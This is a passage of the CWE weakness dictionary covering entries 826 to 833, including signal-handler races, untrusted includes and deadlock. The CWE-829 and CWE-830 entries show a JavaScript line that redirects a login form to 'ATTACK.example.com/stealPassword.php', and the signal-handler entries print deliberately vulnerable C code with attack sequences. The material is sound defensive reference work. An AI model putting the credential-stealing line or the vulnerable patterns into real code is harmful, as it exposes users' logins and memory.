This weakness focuses on errors in which the program should not release a resource, but performs the release anyway. This is different than a weakness in which the program releases a resource at the appropriate time, but it maintains a reference to the resource, which it later accesses. For this weaknesses, the resource should still be valid upon the subsequent access. When a program releases a resource that is still being used, it is possible that operations will still be taken on this resource, which may have been repurposed in the meantime, leading to issues similar to CWE-825. Consequences may include denial of service, information exposure, or code execution.

Common Consequences
Confidentiality
Read application data
Read memory
If the released resource is subsequently reused or reallocated, then a read operation on the original resource might access sensitive data that is associated with a different user or entity.

Availability
DoS: crash / exit / restart
When the resource is released, the software might modify some of its structure, or close associated channels (such as a file descriptor). When the software later accesses the resource as if it is valid, the resource might not be in an expected state, leading to resultant errors that may lead to a crash.
Integrity
Confidentiality
Availability

**Execute unauthorized code or commands**
**Modify application data**
**Modify memory**

When the resource is released, the software might modify some of its structure. This might affect program logic in the sections of code that still assume the resource is active.
If the released resource is related to memory and is used in a function call, or points to unexpected data in a write operation, then code execution may be possible upon subsequent accesses.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2009-3547</td>
<td>chain: race condition might allow resource to be released before operating on it, leading to NULL dereference</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>666</td>
<td>Operation on Resource in Wrong Phase of Lifetime</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>672</td>
<td>Operation on a Resource after Expiration or Release</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Research Gaps**

Under-studied and under-reported as of September 2010. This weakness has been reported in high-visibility software, although the focus has been primarily on memory allocation and deallocation. There are very few examples of this weakness that are not directly related to memory management, although such weaknesses are likely to occur in real-world software for other types of resources.

**CWE-827: Improper Control of Document Type Definition**

**Weakness ID:** 827 *(Weakness Base)*

**Status:** Incomplete

**Description**

**Summary**

The software does not restrict a reference to a Document Type Definition (DTD) to the intended control sphere. This might allow attackers to reference arbitrary DTDs, possibly causing the software to expose files, consume excessive system resources, or execute arbitrary http requests on behalf of the attacker.

**Extended Description**

As DTDs are processed, they might try to read or include files on the machine performing the parsing. If an attacker is able to control the DTD, then the attacker might be able to specify sensitive resources or requests or provide malicious content.

For example, the SOAP specification prohibits SOAP messages from containing DTDs.

**Applicable Platforms**

**Languages**

- XML

**Architectural Paradigms**

- Web-based

**Common Consequences**

- **Confidentiality**
  - Read files or directories
    - If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.
CWE Version 2.11

CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe

Availability
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
The DTD may cause the parser to consume excessive CPU cycles or memory using techniques such as nested or recursive entity references (CWE-776).

Integrity
Confidentiality
Availability
Access Control
Execute unauthorized code or commands
Gain privileges / assume identity
The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2010-2076</td>
<td>Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>442</td>
<td>Web Problems</td>
<td>699</td>
<td>757</td>
</tr>
<tr>
<td>ChildOf</td>
<td>706</td>
<td>Use of Incorrectly-Resolved Name or Reference</td>
<td>1000</td>
<td>1109</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>776</td>
<td>Improper Restriction of Recursive Entity References in DTDs (<code>XML Entity Expansion</code>)</td>
<td>1000</td>
<td>1193</td>
</tr>
<tr>
<td>ChildOf</td>
<td>829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
<td>1000</td>
<td>1266</td>
</tr>
</tbody>
</table>

References


CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe

Weakness ID: 828 (Weakness Base) Status: Incomplete

Description

Summary
The software defines a signal handler that contains code sequences that are not asynchronous-safe, i.e., the functionality is not reentrant, or it can be interrupted.

Extended Description
This can lead to an unexpected system state with a variety of potential consequences depending on context, including denial of service and code execution.

Signal handlers are typically intended to interrupt normal functionality of a program, or even other signals, in order to notify the process of an event. When a signal handler uses global or static variables, or invokes functions that ultimately depend on such state or its associated metadata, then it could corrupt system state that is being used by normal functionality. This could subject the program to race conditions or other weaknesses that allow an attacker to cause the program state to be corrupted. While denial of service is frequently the consequence, in some cases this weakness could be leveraged for code execution.

There are several different scenarios that introduce this issue:

- Invocation of non-reentrant functions from within the handler. One example is malloc(), which modifies internal global variables as it manages memory. Very few functions are actually reentrant.
- Code sequences (not necessarily function calls) contain non-atomic use of global variables, or associated metadata or structures, that can be accessed by other functionality of the program,
including other signal handlers. Frequently, the same function is registered to handle multiple signals.

The signal handler function is intended to run at most one time, but instead it can be invoked multiple times. This could happen by repeated delivery of the same signal, or by delivery of different signals that have the same signal handler function (CWE-831).

Note that in some environments or contexts, it might be possible for the signal handler to be interrupted itself.

If both a signal handler and the normal behavior of the software have to operate on the same set of state variables, and a signal is received in the middle of the normal execution's modifications of those variables, the variables may be in an incorrect or corrupt state during signal handler execution, and possibly still incorrect or corrupt upon return.

**Common Consequences**

**Integrity**

**Confidentiality**

**Availability**

**DoS: crash / exit / restart**

**Execute unauthorized code or commands**

The most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.

**Demonstrative Examples**

**Example 1:**

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

```c
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.

The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.

The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").

SIGHUP-handler begins to execute, calling syslog().

syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.

The attacker then sends SIGTERM.

SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
The SIGTERM handler is invoked. SIGTERM-handler records the log message using syslog(), then frees the logMessage variable. At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [R.828.1]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

**Example 2:**
The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

**C Example:**
```c
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>

void *global1, *global2;
char *what;

void sh (int dummy) {
    syslog(LOG_NOTICE, "%s
", what);
    free(global2);
    free(global1);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}

int main (int argc, char* argv[]) {
    what=argv[1];
    global1=strdup(argv[2]);
    global2=malloc(340);
    signal(SIGHUP,sh);
    signal(SIGTERM,sh);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
```

However, the following sequence of events may result in a double-free (CWE-415):
- a SIGHUP is delivered to the process
- sh() is invoked to process the SIGHUP
- This first invocation of sh() reaches the point where global1 is freed
- At this point, a SIGTERM is sent to the process
- the second invocation of sh() might do another free of global1
- this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" (see references).

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1349</td>
<td>unsafe calls to library functions from signal handler</td>
</tr>
<tr>
<td>CVE-2002-1563</td>
<td>SIGCHLD not blocked in a daemon loop while counter is modified, causing counter to get out of sync.</td>
</tr>
<tr>
<td>CVE-2004-0794</td>
<td>SIGURG can be used to remotely interrupt signal handler; other variants exist.</td>
</tr>
<tr>
<td>CVE-2004-2259</td>
<td>handler for SIGCHLD uses non-reentrannt functions</td>
</tr>
</tbody>
</table>
CWE-829: Inclusion of Functionality from Untrusted Control Sphere

**Description**

**Summary**

The software imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

**Extended Description**

When including third-party functionality, such as a web widget, library, or other source of functionality, the software must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.

This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive...
privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).

Common Consequences
- Confidentiality
- Integrity
- Availability

**Execute unauthorized code or commands**
An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site.

**Detection Methods**

**Automated Static Analysis - Binary / Bytecode**
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode**
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with manual results interpretation**
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Forced Path Execution
  - Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

**Manual Static Analysis - Source Code**
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Manual Source Code Review (not inspections)
- Cost effective for partial coverage:
  - Focused Manual Spotcheck - Focused manual analysis of source

**Automated Static Analysis - Source Code**
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

**Architecture / Design Review**
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  - Formal Methods / Correct-By-Construction
- Cost effective for partial coverage:
  - Attack Modeling

**Demonstrative Examples**
This login webpage includes a weather widget from an external website:
HTML Example:

```html
<div class="header"> Welcome!
 <div id="loginBox">Please Login:
     <form id="loginForm" name="loginForm" action="login.php" method="post">
         Username: <input type="text" name="username" />
         <br/>
         Password: <input type="password" name="password" />
         <input type="submit" value="Login" />
     </form>
 </div>
 <div id="WeatherWidget">
     <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
 </div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Javascript Example:

```javascript
...Weather widget code...
   document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1704</td>
<td>PHP remote file include.</td>
</tr>
<tr>
<td>CVE-2002-1707</td>
<td>PHP remote file include.</td>
</tr>
<tr>
<td>CVE-2004-0030</td>
<td>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</td>
</tr>
<tr>
<td>CVE-2004-0068</td>
<td>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</td>
</tr>
<tr>
<td>CVE-2004-0127</td>
<td>Directory traversal vulnerability in PHP include statement.</td>
</tr>
<tr>
<td>CVE-2004-0128</td>
<td>Modification of assumed-immutable variable in configuration script leads to file inclusion.</td>
</tr>
<tr>
<td>CVE-2004-0285</td>
<td>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</td>
</tr>
<tr>
<td>CVE-2005-1681</td>
<td>PHP remote file include.</td>
</tr>
<tr>
<td>CVE-2005-1864</td>
<td>PHP file inclusion.</td>
</tr>
<tr>
<td>CVE-2005-1869</td>
<td>PHP file inclusion.</td>
</tr>
<tr>
<td>CVE-2005-1870</td>
<td>PHP file inclusion.</td>
</tr>
<tr>
<td>CVE-2005-1964</td>
<td>PHP remote file include.</td>
</tr>
<tr>
<td>CVE-2005-2086</td>
<td>PHP remote file include.</td>
</tr>
<tr>
<td>CVE-2005-2154</td>
<td>PHP local file inclusion.</td>
</tr>
<tr>
<td>CVE-2005-2157</td>
<td>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</td>
</tr>
<tr>
<td>CVE-2005-2162</td>
<td>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</td>
</tr>
<tr>
<td>CVE-2005-2198</td>
<td>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</td>
</tr>
<tr>
<td>CVE-2005-3335</td>
<td>PHP file inclusion issue, both remote and local; local include uses &quot;.&quot; and &quot;%00&quot; characters as a manipulation, but many remote file inclusion issues probably have this vector.</td>
</tr>
<tr>
<td>CVE-2010-2076</td>
<td>Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
Architecture and Design

Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Architecture and Design

Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [R.829.1] provide this capability.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Architecture and Design

Operation

Sandbox or Jail

Limited
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Architecture and Design

Operation

Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.829.2]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "./" sequences are removed from the "../.../...//" string in a sequential fashion, two instances of "./" would be removed from the original string, but the remaining characters would still form the "./" string.

Architecture and Design
Operation
Identify and Reduce Attack Surface
Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Architecture and Design
Implementation
Identify and Reduce Attack Surface
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
Operation
Firewall
Moderate

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>669</td>
<td>Incorrect Resource Transfer Between Spheres</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1039</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>813</td>
<td>OWASP Top Ten 2010 Category A4 - Insecure Direct Object References</td>
<td>809</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1250</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>864</td>
<td>2011 Top 25 - Insecure Interaction Between Components</td>
<td>900</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1312</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>184</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>827</td>
<td>Improper Control of Document Type Definition</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1262</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>830</td>
<td>Inclusion of Web Functionality from an Untrusted Source</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1271</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>

| MemberOf |      | 884 | CWE Cross-section                                        | 884  |
|          |      |     |                                                           | 1323 |

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>175</td>
<td>Code Inclusion</td>
<td></td>
</tr>
</tbody>
</table>

References


CWE-830: Inclusion of Web Functionality from an Untrusted Source

<table>
<thead>
<tr>
<th>Weakness ID: 830 (Weakness Base)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary

The software includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the software, potentially granting total access and control of the software to the untrusted source.

Extended Description

Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted.

Even if the third party is a trusted source, the software may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the software.

This weakness is common in "mashup" development on the web, which may include source functionality from other domains. For example, Javascript-based web widgets may be inserted by using "<SCRIPT SRC="http://other.domain.here">" tags, which causes the code to run in the domain of the software, not the remote site from which the widget was loaded. As a result, the
CWE Version 2.11
CWE-831: Signal Handler Function Associated with Multiple Signals

included code has access to the local DOM, including cookies and other data that the developer might not want the remote site to be able to access. Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.

**Common Consequences**
- Confidentiality
- Integrity
- Availability
- Execute unauthorized code or commands

**Demonstrative Examples**
This login webpage includes a weather widget from an external website:

**HTML Example:**

```html
<div class="header"> Welcome!
  <div id="loginBox">Please Login:
    <form id="loginForm" name="loginForm" action="login.php" method="post">
      Username: <input type="text" name="username" />
      <br/>
      Password: <input type="password" name="password" />
      <input type="submit" value="Login" />
    </form>
  </div>
</div>

<div id="WeatherWidget">
  <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
</div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

**Javascript Example:**

```javascript
...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
<td>699 1266</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**References**

**CWE-831: Signal Handler Function Associated with Multiple Signals**

**Weakness ID:** 831 *(Weakness Base)*

**Status:** Incomplete

**Description**

**Summary**
The software defines a function that is used as a handler for more than one signal.

**Extended Description**
While sometimes intentional and safe, when the same function is used to handle multiple signals, a race condition could occur if the function uses any state outside of its local declaration, such as global variables or non-reentrant functions, or has any side effects.
An attacker could send one signal that invokes the handler function; in many OSes, this will typically prevent the same signal from invoking the handler again, at least until the handler function has completed execution. However, the attacker could then send a different signal that is associated with the same handler function. This could interrupt the original handler function while it is still executing. If there is shared state, then the state could be corrupted. This can lead to a variety of potential consequences depending on context, including denial of service and code execution.

Another rarely-explored possibility arises when the signal handler is only designed to be executed once (if at all). By sending multiple signals, an attacker could invoke the function more than once. This may generate extra, unintended side effects. A race condition might not even be necessary; the attacker could send one signal, wait until it is handled, then send the other signal.

### Common Consequences

**Availability**
- DoS: crash / exit / restart

**Integrity**
- Execute unauthorized code or commands

**Confidentiality**
- Read application data

**Access Control**
- Gain privileges / assume identity

**Other**
- Bypass protection mechanism

**Varies by context**

- The most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.

### Demonstrative Examples

**Example 1:**
This code registers the same signal handler function with two different signals.

```c
void handler (int sigNum) {
    ... 
}
int main (int argc, char* argv[]) {
    signal(SIGUSR1, handler)
    signal(SIGUSR2, handler)
}
```

**Example 2:**
This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

```c
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
```
sleep(10);
}

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:
The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
SIGHUP-handler begins to execute, calling syslog().
syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
The attacker then sends SIGTERM.
SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
The SIGTERM handler is invoked.
SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.
At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.
Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [R.831.1]; the original example was shown to be exploitable for code execution.
Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>3</td>
<td>364</td>
<td>Signal Handler Race Condition</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>636</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>
Integrity
Confidentiality
Availability
Other
DoS: crash / exit / restart
Execute unauthorized code or commands
Modify memory
Other

Depending on the locking being used, an unlock operation might not have any adverse effects. When effects exist, the most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit; depending on the implementation of the unlocking, memory corruption or code execution could occur.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-4302</td>
<td>Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.</td>
</tr>
<tr>
<td>CVE-2009-1243</td>
<td>OS kernel performs an unlock in some incorrect circumstances, leading to panic.</td>
</tr>
<tr>
<td>CVE-2010-4210</td>
<td>function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>667</td>
<td>Improper Locking</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1034</td>
</tr>
</tbody>
</table>

CWE-833: Deadlock

Weakness ID: 833 (Weakness Base)
Status: Incomplete

Description
Summary
The software contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.

Common Consequences
Availability
DoS: resource consumption (CPU)
DoS: resource consumption (other)
DoS: crash / exit / restart
Each thread of execution will "hang" and prevent tasks from completing. In some cases, CPU consumption may occur if a lock check occurs in a tight loop.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1850</td>
<td>read/write deadlock between web server and script</td>
</tr>
<tr>
<td>CVE-2004-0174</td>
<td>web server deadlock involving multiple listening connections</td>
</tr>
<tr>
<td>CVE-2005-2456</td>
<td>Chain: array index error (CWE-129) leads to deadlock (CWE-833)</td>
</tr>
<tr>
<td>CVE-2005-3106</td>
<td>Race condition leads to deadlock.</td>
</tr>
<tr>
<td>CVE-2005-3847</td>
<td>OS kernel has deadlock triggered by a signal during a core dump.</td>
</tr>
<tr>
<td>CVE-2006-2275</td>
<td>Deadlock when large number of small messages cannot be processed quickly enough.</td>
</tr>
<tr>
<td>CVE-2006-2374</td>
<td>Deadlock in device driver triggered by using file handle of a related device.</td>
</tr>
<tr>
<td>CVE-2006-4342</td>
